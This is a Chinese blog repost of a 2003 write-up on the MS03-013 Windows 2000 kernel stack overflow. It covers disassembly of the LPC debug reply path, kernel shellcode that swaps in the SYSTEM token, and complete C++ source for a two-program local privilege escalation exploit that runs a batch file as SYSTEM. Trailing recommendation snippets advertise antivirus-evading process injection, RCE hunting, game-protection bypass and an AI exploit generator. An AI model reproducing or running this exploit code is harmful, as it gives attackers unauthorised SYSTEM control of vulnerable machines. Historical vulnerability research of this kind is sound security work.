【实战】windows 2000 kernel exploit 的一点研究

Mythos安全模型:语义驱动的零日漏洞挖掘与 exploit 自动生成 在现代软件供应链日益复杂的背景下,传统基于规则的安全扫描工具已难以应对深层系统级漏洞。语义驱动的安全分析正成为新范式——它不依赖特征匹配,而是通过理解代码、硬件抽象层与运行时上下文的内在逻辑,实现对内存溢出、ROP链构造、ASLR绕过等高阶攻击面的建模。Mythos 作为该范式的代表,融合动态符号执行(DSE)、长期上下文推理与领域知识注入能力,在真实工业控制系统、医疗PACS及网络设备固件中持续发现未公开零日漏洞,并自动生成跨平台 exploit。其核心价值不仅在于自动化,更在于将顶尖红队研究员的决策链工 阅读详情

windows 2000 kernel exploit 的一点研究


创建时间:2003-06-03
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)

windows 2000 kernel exploit 的一点研究

ey4s<cooleyas@21cn.com>
2003-05-23


    以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉
及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文
章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。


-=-=-=- 第一部分 实例分析 -=-=-=-

    MS在2003-04-16发布了一个安全公告MS03-013,内容如下:
    The vulnerability exists in the kernel debugging support code that delivers debug
events to the user mode debugger. malicious user mode debugger would send a large reply
to the kernel, which results in a stack overflow.  

    按照惯例,MS的安全公告不会提供技术细节的,但在漏洞发现者的网站上也没有公布技术细节,其他
地方也没有相关的资料,于是只能自己跟踪分析了。花了我很长时间,终于重现了这个漏洞。

    背景知识: user-mode debuger工作流程
    <1>debuger创建一个新进程,或attach一个正在运行的进程。我们称这个进程为B。
    <2>debuger等待进程B产生debug事件
    <3>进程B产生debug事件,发送消息给debuger,进程挂起,等待debuger指令。
    <3>debuger处理debug事件,发送消息给进程B。
    <4>进程B接受debuger发送的消息,进程复苏。
    <5>循环2-4

    消息传递是通过lpc port来进行的,流程如下所示:
    debuger <--> kernel <--> process B
    
    上面所说的消息结构如下:
    typedef struct _DEBUG_MESSAGE
    {
    PORT_MESSAGE        PORT_MSG;
    DEBUG_EVENT        DebugEvent;
    }DEBUG_MESSAGE, *PDEBUG_MESSAGE;

    typedef struct _PORT_MESSAGE
    {
    USHORT                  DataSize;//数据长度
    USHORT                  MessageSize;//总长度
    USHORT                  MessageType;
    USHORT                  DataInfoOffset;
    CLIENT_ID               ClientId;
    ULONG                   MessageId;
    ULONG                   SectionSize;
    //UCHAR            Data[];
    }PORT_MESSAGE, *PPORT_MESSAGE;

    在/Microsoft SDK/samples/winbase/Debug目录下有几个简单的user-mode debuger的源代码,
大家可以参考一下。

    结合安全公告的内容和背景知识,我想你已经知道怎么重现这个漏洞了。
    <>debuger send large reply --> kernel
    <>kernel delivers reply -> process B
    在kernel处理这个恶意的reply时,溢出发生了。

    注意:溢出发生时,CPU所处的路径是 -> 运行在内核空间,关联着进程B。


    OK!我们来看看反汇编出来的代码,看看溢出到底是怎么发生的。


    首先,debuger发送的reply长度是有限制的,我们来看看:

    //Data长度要小于等于总长度-0x18
    NtReplyPort+0x4D
    0008:8049DC89  PUSH      06
    0008:8049DC8B  POP       ECX
    0008:8049DC8C  MOV       ESI,[EBP+0C]//reply message地址
    0008:8049DC8F  LEA       EDI,[EBP-3C]
    0008:8049DC92  REPZ MOVSD
    0008:8049DC94  OR        DWORD PTR [EBP-04],-01
    0008:8049DC98  MOVSX     EAX,WORD PTR [EBP-3C]//取message DataSize
    0008:8049DC9C  ADD       EAX,18
    0008:8049DC9F  MOVSX     ECX,WORD PTR [EBP-3A]//取message TotalSize
    0008:8049DCA3  CMP       EAX,ECX//判断DataSize+0x18是否大于TotalSize
    0008:8049DCA5  JA        804EEE93

    //Reply总长度不能超过0x148
    0008:8049DCD3  MOV       AX,[EBP-3A]//取message TotalSize
    0008:8049DCD7  MOVSX     EDX,AX
    0008:8049DCDA  MOV       ECX,[EBP-20]
    0008:8049DCDD  CMP       EDX,[ECX+34]//[ecx+34]处内容为0x148
    0008:8049DCE0  JA        804EEF82

    所以总长度最大只能为0x148字节,Data最大只能为0x130字节,但这已经足够触发内核堆栈溢出了。

    接着kernel会调用_DbgkpSendApiMessage来处理我们的debuger发送的reply_msg,函数调用关系如下:
    DbgkpSendApiMessage
    |_ LpcRequestWaitReplyPort  
        |_ 80433399
        |_ LpcpMoveMessage    <-- kernel stack buffer overflow

    _DbgkpSendApiMessage(argv1, argv2, argv3)
    _DbgkpSendApiMessage
    0008:8052CF45  PUSH      EBP
    0008:8052CF46  MOV       EBP,ESP
    0008:8052CF48  SUB       ESP,00000100//从stack中分配0x100字节内存
    ......
    0008:8052CF5E  MOV       ESI,[EBP+08]
    ......
    0008:8052CF78  LEA       EAX,[EBP-0100]
    0008:8052CF7E  PUSH      EAX
    0008:8052CF7F  PUSH      ESI
    0008:8052CF80  PUSH      DWORD PTR [EBP+0C]
    0008:8052CF83  CALL      _LpcRequestWaitReplyPort
    ......
    0008:8052CFBA  RET       000C


    _LpcRequestWaitReplyPort(argv3, argv2, stack_buff)
    _LpcRequestWaitReplyPort
    0008:8049CFD3  PUSH      00
    0008:8049CFD5  PUSH      DWORD PTR [ESP+10]
    0008:8049CFD9  PUSH      DWORD PTR [ESP+10]
    0008:8049CFDD  PUSH      DWORD PTR [ESP+10]
    0008:8049CFE1  CALL      80433399
    0008:8049CFE6  RET       000C


    80433399(argv3, argv2, stack_buff, 0)
    80433399+0x3da
    0008:80433773  MOV       ESI,[EBP+0C]
    0008:80433776  XOR       EDI,EDI
    0008:80433778  PUSH      EDI
    0008:80433779  PUSH      EDI
    0008:8043377A  LEA       EAX,[ESI+30]
    0008:8043377D  PUSH      EAX
    0008:8043377E  LEA       EAX,[ESI+18]
    0008:80433781  PUSH      EAX
    0008:80433782  PUSH      DWORD PTR [EBP+10]
    0008:80433785  CALL      _LpcpMoveMessage


    _LpcpMoveMessage(stack_buff, argv2+18, argv2+0x30)
    _LpcpMoveMessage
    0008:80402276  PUSH      ESI
    0008:80402277  PUSH      EDI
    0008:80402278  MOV       EDI,[ESP+0C]
    0008:8040227C  CLD
    0008:8040227D  MOV       ESI,[ESP+10]
    0008:80402281  LODSD
    0008:80402282  STOSD
    0008:80402283  LEA       ECX,[EAX+03]//取得DataSize
    0008:80402286  AND       ECX,0000FFFC//取4的整数,去除余数,如0x121 -> 0x120
    0008:8040228C  SHR       ECX,02//DataSize除4
    0008:8040228F  LODSD
    0008:80402290  MOV       EDX,[ESP+18]
    0008:80402294  OR        EDX,EDX
    0008:80402296  JZ        8040229B
    0008:80402298  MOV       AX,DX
    0008:8040229B  STOSD
    0008:8040229C  MOV       EDX,[ESP+1C]
    0008:804022A0  OR        EDX,EDX
    0008:804022A2  JZ        804022B0
    0008:804022A4  MOV       EAX,[EDX]
    0008:804022A6  STOSD
    0008:804022A7  MOV       EAX,[EDX+04]
    0008:804022AA  STOSD
    0008:804022AB  ADD       ESI,08
    0008:804022AE  JMP       804022B2
    0008:804022B0  MOVSD
    0008:804022B1  MOVSD
    0008:804022B2  MOVSD
    0008:804022B3  MOVSD
    0008:804022B4  MOV       ESI,[ESP+14]
    0008:804022B8  REPZ      MOVSD//没有考虑stack buffer大小,将我们的发送的数据全部copy到stack中
    0008:804022BA  POP       EDI
    0008:804022BB  POP       ESI
    0008:804022BC  RET       0014


-=-=-=- 第二部分 exploit需要解决的几个问题 -=-=-=-

    一、确定retloc地址。
    
    从第一部分的反汇编代码中可以知道,函数的返回地址在stack_buff+0x104处。


    二、确定retaddr地址。
    
    因为溢出发生时,关联的是进程B,所以shellcode就直接放在进程B空间里面,进程B把处于它进程内
的shellcode的地址传递给debuger,然后debuger发送给kernel的buffer结构如下:

    |...nop...|realcode_addr|shellcode_addr|nop(0xC)|esp|cs|ds|es|
    
    realcode_addr覆盖在ebp,realcode的功能是恢复寄存器fs、以SYSTEM权限运行ey4s.bat。
    shellcode_addr覆盖在DbgkpSendApiMessage函数的返回地址,shllcode的功能是提升权限、从核心
态返回应用态。
    因为函数DbgkpSendApiMessage返回时是ret 0xc,所以要0xc个nop来填充。
    再后面跟的就是返回应用态后进程B应该对应的寄存器值了。



    三、提升权限。

    显然假设Process B是以普通用户身份运行的,所以利用这个漏洞的目的是提升权限,所以要在从
核心态返回应用态之前提前权限。在unix平台中可以修改当前进程的UID为0,达到提升权限的目的。在
windows平台中也可以用类似的方法,但不是修改UID(因为windows没有UID这个概念),而是修改当前
进程的访问令牌,即Process Token。开始我用的办法是修改Token中的特权列表,如增加debug特权,但这
样的话,返回应用态后想获得SYSTEM权限还得费点功夫。Token还有很多可以修改的地方,如Owner SID等等。
最后还是决定用最简单最有效的办法,即用SYSTEM进程的TOKEN替换当前进程的TOKEN,这样我们的进程就
有最高权限了。

    在windows 2000平台中:
    当运行在内核模式的时候,FS:[0x124]总是指向到当前线程的TEB,[TEB+0x44]总是指向到当前进程
的KPEB。在[KPEB+0x12c]处存放的就是当前进程的Token了。系统中各个进程的KPEB由一环形链表联结着,
所以可以通过当前进程的KPEB找出其他进程的KPEB。
    
    实现代码如下:

    //获取当前进程的KPEB地址
    mov        eax,fs:[0x124]
    mov        esi,[eax+0x44]
    mov        eax,esi

    /*搜索SYSTEM进程的KPEB地址*/
    //获得下一个进程的KPEB
    search:
    mov        eax,[eax+0xa0]
    sub        eax,0xa0
    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程
    jne        search

    mov        eax,[eax+0x12c]//获取system进程的token
    mov        [esi+0x12c],eax//修改当前进程的token



    四、从内核态正确返回应用态

    溢出发生后,我们的shellcode得到控制权,提升权限后应该让中断调用返回,系统才不会崩溃掉。因
为我们覆盖了内核函数DbgkpSendApiMessage的返回地址,所以让中断调用返回这个任务就只有让我们自己
来完成了。在返回之前要还原一些寄存器的值,这样在返回应用态后,进程B中我们的realcode才能正确的
继续运行。在中断返回时,堆栈中的数据结构如下:
    
    内存高处 栈底
    |??????|
    |ds    | <-- 返回应用态后的ds
    |esp   | <-- 返回应用态后的esp
    |eflags| <-- 返回应用态后的flags
    |cs    | <-- 返回应用态后的cs
    |eip   | <-- 返回应用态后的eip
    内存低处 栈顶

    我们自己构造这些数据,然后让esp指向这些数据,接着调用iretd从核心态返回应用态也可以。不过,
好像这样返回后会出问题,也许参数没有设置完整。还是从内存中搜索这些参数保险一点。

    
-=-=-=- 第三部分 exploit -=-=-=-

/*-------------------------------------------------------------------
debugme.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#pragma pack(1)

typedef struct _SomeInfo
{
    DWORD    dwNum;
    DWORD    dwRealCode;
    DWORD    dwShellCode;    
    DWORD    dw[3];
    DWORD    dwESP;
    DWORD    dwCS;
    DWORD    dwDS;
    DWORD    dwES;
}SOMEINFO, *PSOMEINFO;

unsigned    char    shellcode[512];
unsigned    char    realcode[512];
DWORD        dwFS;
HANDLE        hProcess;
DWORD        dwRun;
SOMEINFO    si;

void  shellcodefnlock();
void  realcodefnlock();
void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc);
void CreateNewProcess()
{
    STARTUPINFO si={sizeof(si)};
    PROCESS_INFORMATION pi;
    
    CreateProcess(NULL, "ey4s.bat", NULL, NULL,
        TRUE, CREATE_NEW_CONSOLE , NULL, NULL, &si, &pi);
    exit(0);
}

void main()
{
    HMODULE    h;
    DWORD    dwESP, dwCS, dwDS, dwES;

    //保存寄存器值
    __asm
    {
        mov        dwESP, esp
        sub        dwESP, 0x100

        push        cs
        pop        eax
        and        eax,0xFFFF
        mov        dwCS, eax

        push        ds
        pop        eax
        and        eax,0xFFFF
        mov        dwDS, eax

        push        es
        pop        eax
        and        eax,0xFFFF
        mov        dwES, eax

        push        fs
        pop        eax
        and        eax,0xFFFF
        mov        dwFS, eax
    }
    //取得shellcode
    getshellcode(shellcode, sizeof(shellcode), (BYTE *)shellcodefnlock);
    getshellcode(realcode, sizeof(realcode), (BYTE *)realcodefnlock);
    //传递一些信息给debuger
    dwRun = (DWORD)&CreateNewProcess;
    si.dwNum = sizeof(si)/sizeof(DWORD) -1 ;
    si.dwRealCode = (DWORD)&realcode;
    si.dwShellCode = (DWORD)&shellcode;
    si.dwESP = dwESP;
    si.dwCS = dwCS;
    si.dwDS = dwDS;
    si.dwES = dwES;
    printf( "shellcode 0x%.8X/n"
            "realcode 0x%.8X/n"
            "ESP=%.8X CS=0x%X DS=0x%X ES=0x%X FS=0x%X/n",
            si.dwShellCode, si.dwRealCode, si.dwESP,
             si.dwCS, si.dwDS, si.dwES, dwFS);
    RaiseException(0x1981, 0, sizeof(si)/sizeof(DWORD), (DWORD *)&si);
    //触发Load Dll和Free Dll事件
    while(1)
    {    
        //printf(".");
        h=LoadLibrary("ws2_32.dll");
        Sleep(1000);
        FreeLibrary(h);
        Sleep(1000);
    }
}

void  shellcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/

/*--------提升权限--------*/
    //获取当前进程的KPEB地址
    mov        eax,fs:[0x124]
    mov        esi,[eax+0x44]
    mov        eax,esi

    /*搜索SYSTEM进程的KPEB地址*/
    //获得下一个进程的KPEB
search:
    mov        eax,[eax+0xa0]
    sub        eax,0xa0
    cmp        [eax+0x9c],0x8//从PID判断是否SYSTEM进程
    jne        search

    mov        eax,[eax+0x12c]//获取system进程的token
    mov        [esi+0x12c],eax//修改当前进程的token

/*------------从核心态返回应用态--------------*/
    //保存esp
    mov        esi,esp

    //搜索iretd所需要的参数
    mov        eax,esp
    add        eax,0x10//跳过我们的数据
next:
    add        eax,0x4
    mov        ebx,[eax]
    cmp        ebx,[esi+0x4]//cs linux系统是0x23,win2k好像都是1b
    jne        next
    //
    sub        eax,0x4//此时eax指向的即为iretd返回所需要的参数起始地址
    mov        esp,eax
    mov        [eax],ebp//ebp是realcode的地址,设置返回后的eip为realcode的起始地址
    add        eax,0xC
    //设置返回应用态后的esp
    mov        ebx,[esi]
    mov        [eax], ebx

    //恢复寄存器值
    push    [esi+0x8]
    pop        ds
    push    [esi+0xc]
    pop        es
    //返回应用态
    iretd
/*end here*/
     int 3
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
    
    }
}

void  realcodefnlock()
{
    _asm
    {
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop

/*start here*/
    push    dwFS
    pop    fs
    //call our function
    call    dwRun
/*end here*/
     int 3
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
     NOP
    
    }
}

void getshellcode(unsigned char *pDst, int iSize, BYTE *pSrc)
{
    unsigned    char    temp;
    unsigned    char    *shellcodefnadd, *start;
    int            len,k;
    char *fnendstr="/x90/x90/x90/x90/x90/x90/x90/x90/x90";
    #define  FNENDLONG   0x08
    
    /* 定位 shellcodefnlock的汇编代码 */
    shellcodefnadd=pSrc;
    temp=*shellcodefnadd;
    if(temp==0xe9)
    {
          ++shellcodefnadd;
          k=*(int *)shellcodefnadd;
          shellcodefnadd+=k;
          shellcodefnadd+=4;
    }
    for(k=0;k<=0x500;++k)
         if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
             break;
    /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */
    len=0;
    start=shellcodefnadd+k+8;
    //len = 2*wcslen(shellcodefnadd+k+8);
    while((BYTE)start[len] != (BYTE)'/xcc')
    {
        pDst[len] = start[len];
        len++;
        if(len>=iSize-1) break;
    }
    //memcpy(shellcode,shellcodefnadd+k+8,len);
    pDst[len]='/0';
}

/*-------------------------------------------------------------------
xDebug.cpp
written by ey4s
cooleyas@21cn.com
2003-05-23
-------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>

#define    offset    0x100+0x4-0x6*4

typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;

typedef struct _LPC_MESSAGE
{
  USHORT                  DataSize;
  USHORT                  MessageSize;
  USHORT                  MessageType;
  USHORT                  DataInfoOffset;
  CLIENT_ID               ClientId;
  ULONG                   MessageId;
  ULONG                   SectionSize;
//  UCHAR                      Data[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
    DWORD           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    DWORD           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(

  OUT PHANDLE             PortHandle,
  IN POBJECT_ATTRIBUTES   ObjectAttributes,
  IN ULONG                MaxConnectInfoLength,
  IN ULONG                MaxDataLength,
  IN OUT PULONG           Reserved OPTIONAL );

typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(

  IN HANDLE               PortHandle,
  OUT PHANDLE             ReceivePortHandle OPTIONAL,
  IN PLPC_MESSAGE         Reply OPTIONAL,
  OUT PLPC_MESSAGE        IncomingRequest );


typedef
DWORD
(CALLBACK * NTREPLYPORT)(

  IN HANDLE               PortHandle,
  IN PLPC_MESSAGE         Reply );

typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(

  IN HANDLE               ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  IN PVOID                ProcessInformation,
  IN ULONG                ProcessInformationLength );


typedef struct _DEBUG_MESSAGE
{
    LPC_MESSAGE        PORT_MSG;
    DEBUG_EVENT        DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;


NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORT    NtReplyWaitReceivePort;
NTCREATEPORT            NtCreatePort;
NTREPLYPORT                NtReplyPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};

PROCESS_INFORMATION    pi;

int main()
{
    HMODULE hNtdll;    
    DWORD    dwAddrList[9];
    BOOL    bExit = FALSE;
    DWORD    dwRet;
    HANDLE    hPort;
    int        k=0;
    DEBUG_MESSAGE dm;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    PORT_MESSAGEX<0x130> PortReply;
    STARTUPINFO    si={sizeof(si)};

    printf( "/nxDebug -> windows kernel exploit for MS03-013/n"
            "Written by ey4s<cooleyas@21cn.com>/n"
            "2003-05-23/n/n");

    //get native api address
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
    {
        printf("LoadLibrary failed:%d/n", GetLastError());
        return 0;
    }

    NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
         GetProcAddress(hNtdll, "NtReplyWaitReceivePort");

    NtCreatePort = (NTCREATEPORT)
         GetProcAddress(hNtdll, "NtCreatePort");

    NtReplyPort = (NTREPLYPORT)
         GetProcAddress(hNtdll, "NtReplyPort");

    NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
         GetProcAddress(hNtdll, "NtSetInformationProcess");

    //create port
    dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
    if(dwRet != 0)
    {
        printf("create hPort failed. ret=%.8X/n", dwRet);
        return 0;
    }
    //create process
    if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
        CREATE_SUSPENDED, 0, 0, &si, &pi))
    {
        printf("CreateProcess failed:%d/n", GetLastError());
        return 0;
    }
    //set debug port
    dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
        &hPort, sizeof(hPort));
    if(dwRet != 0)
    {
        printf("set debug port error:%.8X/n", dwRet);
        return 0;
    }
    //printf("pid:0x%.8X %d hPort=0x%.8X/n", pi.dwProcessId, pi.dwProcessId, hPort);
    ResumeThread(pi.hThread);

    while (true)
    {
        memset(&dm, 0, sizeof(dm));
        NtReplyWaitReceivePort(hPort, 0, 0, &dm.PORT_MSG);
        k++;
        switch (dm.DebugEvent.dwDebugEventCode+1)
        {
            case EXCEPTION_DEBUG_EVENT:
                printf("DEBUG_EVENT --> except/n");
                
if(dm.DebugEvent.u.Exception.ExceptionRecord.NumberParameters == 9)
                {
                    memcpy((unsigned char *)&dwAddrList,
                        (unsigned char
*)&dm.DebugEvent.u.Exception.ExceptionRecord.ExceptionInformation,
                        sizeof(dwAddrList));
                    /*int    n;
                    for(n=0;n<6;n++)
                        printf("%.8X/n", dwAddrList[n]);*/
                }
                break;

            case CREATE_THREAD_DEBUG_EVENT:  
                printf("DEBUG_EVENT --> create thread/n");
                break;

            case CREATE_PROCESS_DEBUG_EVENT:
                printf("DEBUG_EVENT --> create process/n");
                break;

            case EXIT_THREAD_DEBUG_EVENT:
                printf("DEBUG_EVENT --> exit thread/n");
                break;

            case EXIT_PROCESS_DEBUG_EVENT:
                printf("DEBUG_EVENT --> exit process/n");
                bExit = TRUE;
                break;

            case LOAD_DLL_DEBUG_EVENT:
                printf("DEBUG_EVENT --> load dll/n");
                break;

            case UNLOAD_DLL_DEBUG_EVENT:
                printf("DEBUG_EVENT --> unload dll/n");
                break;

            case OUTPUT_DEBUG_STRING_EVENT:  
                printf("DEBUG_EVENT --> debug string/n");        
                break;

        } //end of switch
        //printf("k=%d/n",k);
        if(k==10)
        {
            //printf("************/n");
            //Sleep(4*1000);
            memset(&PortReply, 0, sizeof(PortReply));
            memcpy(&PortReply, &dm, sizeof(dm));
            PortReply.MessageSize = 0x148;
            PortReply.DataSize = 0x130;
            memset(&PortReply.Data, 'a', sizeof(PortReply.Data));
            memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
            dwRet = NtReplyPort(hPort, &PortReply);
            if(dwRet ==0 )
                printf("Send shellcode to ntoskrnl completed!"
                    "Wait for exit./n");
            else
                printf("NtReply err:%.8X/n", dwRet);
        }
        else
            NtReplyPort(hPort, &dm.PORT_MSG);
        if(bExit) break;
    }//end of while
    return 0;
}

    编译xDebug.cpp和debugme.cpp,放在同一目录下,再创建一个ey4s.bat,然后运行xDebug.exe,成功
后会以SYSTEM权限运行ey4s.bat。


-=-=-=- 第四部分 其他 -=-=-=-

    个人认为,kernel exploit和user-mode exploit区别在于kernel exploit要多做两件事:
    <1>提升权限。当然如果关联的进程已经是SYSTEM、或ADMIN权限,就没必要提升权限了。
    <2>从核心态正确返回应用态,这其中包括恢复寄存器值,搜索返回所需要的参数等。
    其他的就跟user-mode exploit没什么区别了。


    在这过程中参考了大量书籍、资料,向作者们表示感谢!

    References:
    <> http://elfhack.whitecell.org/ Linux_Kernel_Exploit_RD by alert7
    <> http://person.okey.net/~webcrazy/ webcrazy
    <> http://www.chapeaux-noirs.org crazylord

    books:
    *Windows NT/2000 Native API Reference
    *Inside Microsoft Windows 2000, Third Edition

-=-=-=- 第五部分 后记 -=-=-=-
  以上exp只能在以下情况下成功:
  <>交互登录时,直接运行
  <>交互登录时,以普通用户身份运行xdebug
  不能用于:
  <>asp shell

  在asp  shell里面调用失败的原因比较奇怪,正在想办法解决,应该是可以解决的问题。在改进版本中,asp shell里面调用已经可以以system身份绑定shell,并且可以连接上去执行cmd.exe的内置命令,可以运行whoami.exe等一些程序,但运行net.exe、ping.exe等还是失败,出错信息是0xC0000142。
Windows远程线程注入实战:七步原理、Debug陷阱与杀软绕过 远程线程注入是Windows进程内存操作的核心技术,本质是在目标进程地址空间动态分配可执行内存并启动代码,涉及权限提升、跨进程内存管理、API地址解析与NX保护绕过等底层机制。其技术价值在于实现无文件落地的静默控制,广泛应用于系统调试、软件热更新和安全研究场景。实践中,Debug模式下的ILT跳转表、/RTC栈检查、0xCC填充等编译器行为极易导致远程崩溃;而杀软检测主要基于ETW行为日志(如CreateRemoteThread+VirtualAllocEx+WriteProcessMemory序列),非文 阅读详情

相关推荐

Ubuntu内核漏洞提权实战:从原理到防御的完整指南

在Linux系统安全领域,权限提升(提权)是攻击者获取系统最高控制权的关键手段,其核心原理在于利用操作系统内核或特权组件的逻辑缺陷或内存错误,绕过预设的权限模型。从技术价值看,理解提权机制不仅能揭示系统深层的安全风险,更是构建有效防御体系、验证系统安全性的基石。在渗透测试和红蓝对抗等应用场景中,针对Ubuntu等主流Linux发行版的内核漏洞进行提权,是评估系统防御纵深的关键环节。本文以一次典型的渗透测试提权实战为例,深入剖析了从环境搭建、漏洞利用到防御加固的完整流程,特别聚焦于linux提权技术的实践细节

weixin_33713707的博客 336

(转载)Windows 2000 Kernel Exploit 的一点研究

Windows 2000 Kernel Exploit 的一点研究转自:http://www.xfocus.net创建时间:2003-06-03文章属性:原创文章提交:eyas (ey4s_at_21cn.com)windows 2000 kernel exploit 的一点研究ey4s2003-05-23    以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多

Kendiv's Box 3125

从MS08-067漏洞复现深入理解缓冲区溢出攻击原理与实战

缓冲区溢出是计算机安全领域的基础性漏洞类型,其核心原理在于程序对用户输入数据缺乏严格的边界检查,导致数据覆盖了相邻内存区域。这种内存破坏漏洞允许攻击者通过精心构造的输入数据,篡改关键的函数返回地址或函数指针,从而劫持程序执行流程,转向执行攻击者预设的恶意代码(Shellcode)。在网络安全和渗透测试中,掌握缓冲区溢出利用技术具有极高的技术价值,它是理解更复杂漏洞利用链的基石,也是评估系统内存安全防护有效性的关键。典型的应用场景包括对遗留系统服务、网络协议实现以及缺乏现代安全缓解措施(如DEP、ASLR)的

long_yu2的专栏 490

聊聊游戏辅助那些事上部第一篇——过掉那些讨厌的游戏保护。

 这个系列计划分为上下两部,上部是内置型辅助,下部是按键型辅助。我不保证会写完。 聊聊游戏辅助那些事上部第一篇——过掉那些讨厌的游戏保护。 相对以前那些裸奔游戏,现在的新游戏多少都会有些保护,这是绕不过去的坎。 下面针对我发现的几个保护方法,逐个的聊一聊。 1、R3应用层下,DebugActiveProcess 加载调试器时,会设置一个远程断点,而这个远程断点其实多此一举,反而有时会

YoungBoz的专栏 5196

Mythos:首个可规模化自主攻防的AI安全执行体

漏洞挖掘正从人工驱动转向AI原生自动化,其核心是具备符号执行、POC生成与exploit构造能力的自主攻防系统。这类模型不再依赖提示工程,而是通过代码理解、二进制逆向与动态推理实现端到端漏洞闭环,技术价值在于将传统数周的安全审计压缩为分钟级API调用。典型应用场景覆盖云基础设施扫描、开源组件零日挖掘、DevSecOps实时响应等关键环节。Mythos作为当前最具代表性的实践范例,标志着AI安全已跨越辅助工具阶段,进入可调度、可复现、可规模化部署的工程化新纪元。

weixin_30372371的博客 491

Mythos:AI驱动的自动化漏洞挖掘与利用生成模型

漏洞挖掘是网络安全的核心基础能力,其本质在于对程序逻辑、内存布局与系统约束的深度理解。传统方法依赖人工经验与工具链组合,效率低、门槛高、难以复现。随着大模型在代码理解、符号执行与跨任务迁移能力上的突破,以Mythos为代表的新型AI安全模型正将‘静态分析→路径推演→约束求解→exploit生成’全过程自动化。它不依赖CVE训练数据,而是通过强化学习内化安全直觉,在FreeBSD内核、Apache模块等真实场景中实现分钟级零日发现与可运行PoC输出。该技术已开始重塑代码审计流程、零日经济结构与开源生态协同机制

weixin_30776545的博客 440

Windows 2000 Kernel Source Code Analysis-Part I

http://blog.chinaunix.net/uid-20517852-id-1936379.html Windows 2000 Kernel Source Code Analysis-Part I 这是我的关于Windows 2000内核细节系列文章中的第一篇。我会涉及到已泄漏的Windows 2000内核源代码。显然,我不会在文章中直接写出相关的内核代码,但我会清楚地

hfutljx的博客 1326

从命令注入到服务漏洞:立体化挖掘RCE的实战思路

远程代码执行(RCE)是Web安全领域的核心高危漏洞,其本质在于攻击者能够通过应用层或系统层的缺陷,在目标服务器上执行任意命令。从原理上看,RCE的实现路径多样,既可能源于应用代码对用户输入的处理不当,如未过滤的参数直接拼接至系统命令函数;也可能根植于底层服务配置的疏漏,例如PHP-FPM的错误暴露或特定系统服务的已知漏洞。这类漏洞的技术价值在于其直接威胁服务器控制权,是衡量系统安全性的关键标尺。在应用场景上,RCE的挖掘不仅限于单一漏洞点,更常见于对多个中低危缺陷进行逻辑串联,形成完整的攻击链。例如,通过

weixin_34150830的博客 562

LPC 简单介绍

LPC 简单应用           概念性的东西就不介绍了。这里主要介绍LPC 函数以及一个代码实例。总的来说,LPC与套接字类似,对比着理解会比较容易。一个进程创建一个LPC 端口对象(服务器),然后等待其他进程(客户)连接过来,服务器接收连接后,服务器与客户端均建立一个通信端口对象,通信端口对象没有名称。理论上说,通信端口处理数据请求,连接端口处理连接请求,就像套接字中的监听套接字与

商少 5198

Mythos:首个可规模化漏洞挖掘的AI安全模型

漏洞挖掘是软件安全的核心能力,其本质是程序语义理解、攻击路径规划与 exploit 构造的系统工程。传统方法依赖人工经验与规则引擎,效率低、不可复现;而以Mythos为代表的新型AI安全模型,通过融合CVE报告、exploit-db样本与真实攻防日志训练,构建跨语言、跨抽象层的语义理解图谱,并支持状态感知的工具调用与动态payload生成。这种能力使漏洞发现从‘事件驱动’升级为‘流水线化服务’,显著提升DevSecOps闭环效率。尤其在二进制分析、内存破坏建模和0day验证等关键场景中,Mythos展现出对

weixin_30321449的博客 401

漏洞利用EXP windows-kernel-exploits-master.zip

本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。以下是不同系统提权的漏洞和相应的补丁。

windows 2000 kernel exploit 的一点研究

